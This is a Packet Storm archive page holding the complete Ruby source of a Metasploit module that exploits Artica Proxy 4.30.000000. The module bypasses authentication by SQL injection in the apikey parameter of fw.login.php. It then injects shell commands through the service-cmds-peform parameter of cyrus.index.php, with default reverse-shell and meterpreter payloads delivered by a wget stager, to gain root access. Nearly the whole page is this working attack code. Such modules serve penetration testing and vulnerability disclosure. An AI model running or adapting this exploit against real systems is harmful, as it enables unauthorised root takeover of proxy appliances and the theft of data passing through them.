exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Artica Proxy 4.30.000000 Authentication Bypass / Command Injection

Artica Proxy 4.30.000000 Authentication Bypass / Command Injection
Posted Sep 22, 2020
Authored by Redouane Niboucha, Max0x4141 | Site metasploit.com

This Metasploit module exploits an authenticated command injection vulnerability in Artica Proxy, combined with an authentication bypass discovered on the same version, it is possible to trigger the vulnerability without knowing the credentials. The application runs in a virtual appliance and successful exploitation of this vulnerability yields remote code execution as root on the remote system.

tags | exploit, remote, root, code execution
advisories | CVE-2020-17505, CVE-2020-17506
SHA-256 | 078f133f8a5eb45e3921bb8de3c7d640fa15b03306907ebf439e915e4be64e2a

Artica Proxy 4.30.000000 Authentication Bypass / Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Artica proxy 4.30.000000 Auth Bypass service-cmds-peform Command Injection',
'Description' => %q{
This module exploits an authenticated command injection vulnerability in Artica Proxy, combined with an authentication bypass
discovered on the same version, it is possible to trigger the vulnerability without knowing the credentials.
The application runs in virtual appliance, successful exploitation of this vulnerability yields remote code execution as root on the
remote system.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Max0x4141', # discovery
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # msf module
],
'References' =>
[
['CVE', '2020-17505'], # RCE
['CVE', '2020-17506'], # Auth bypass
['EDB', '48744'],
['PACKETSTORM', '158868'],
['URL', 'https://blog.max0x4141.com/post/artica_proxy/']
],
'DefaultOptions' =>
{
'SSL' => true,
'RPort' => 9000
},
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix Command',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_command,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_perl'
}
],
[
'Linux Dropper',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => 'wget',
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
}
]
],
'Privileged' => true,
'DisclosureDate' => '2020-08-09',
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Artica Proxy', '/']),
OptString.new('PHPSESSID', [false, 'The cookie obtained after successful authentication, if present'])
]
)

# XXX: https://github.com/rapid7/metasploit-framework/issues/12963
import_target_defaults
end

def check
if datastore['PHPSESSID']
@phpsessid = datastore['PHPSESSID']
else
check_result = auth_bypass
return check_result unless check_result == CheckCode::Vulnerable

@phpsessid = check_result.reason
end
rand_string = Rex::Text.rand_text_alphanumeric(4..16)
if execute_command("echo #{Rex::Text.encode_base64(rand_string)}|base64 -d").include?(rand_string)
CheckCode::Appears
else
CheckCode::Safe
end
end

def execute_command(cmd, _opts = {})
print_status 'Attempting to gain RCE via CVE-2020-17505'
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'cyrus.index.php'),
'vars_get' => {
'service-cmds-peform' => "||#{Rex::Text.uri_encode(cmd, 'hex-all')}||"
},
'cookie' => "PHPSESSID=#{@phpsessid}; AsWebStatisticsCooKie=1; shellinaboxCooKie=1"
})
res ? res.body : ''
end

def auth_bypass
serialized_object = 'a:2:{s:3:"uid";s:4:"-100";s:22:"ACTIVE_DIRECTORY_INDEX";s:1:"1";}'
apikey = "' UNION select 1,'#{Rex::Text.encode_base64(serialized_object)}';"
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'fw.login.php'),
'vars_get' => {
'apikey' => apikey
}
})
return Exploit::CheckCode::Unknown("Unable to connect to #{target_uri.path}") unless res
return Exploit::CheckCode::Safe('Authentication failed') unless res && [200, 301, 302].include?(res.code)

Exploit::CheckCode::Vulnerable(res.get_cookies[/PHPSESSID=(.+?);/, 1])
end

def exploit
if datastore['PHPSESSID']
@phpsessid = datastore['PHPSESSID']
else
print_status 'Attempting to bypass authentication via CVE-2020-17506 (SQL injection)'
bypass_result = auth_bypass
case bypass_result
when CheckCode::Safe then fail_with(Failure::NoAccess, bypass_result.reason)
when CheckCode::Unknown then fail_with(Failure::Unknown, bypass_result.reason)
else @phpsessid = bypass_result.reason
end
end
print_good "Session cookie : #{@phpsessid}"
case target['Type']
when :unix_command then execute_command(payload.encoded)
when :linux_dropper then execute_cmdstager
else
fail_with(Failure::BadConfig, 'Invalid target specified')
end
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close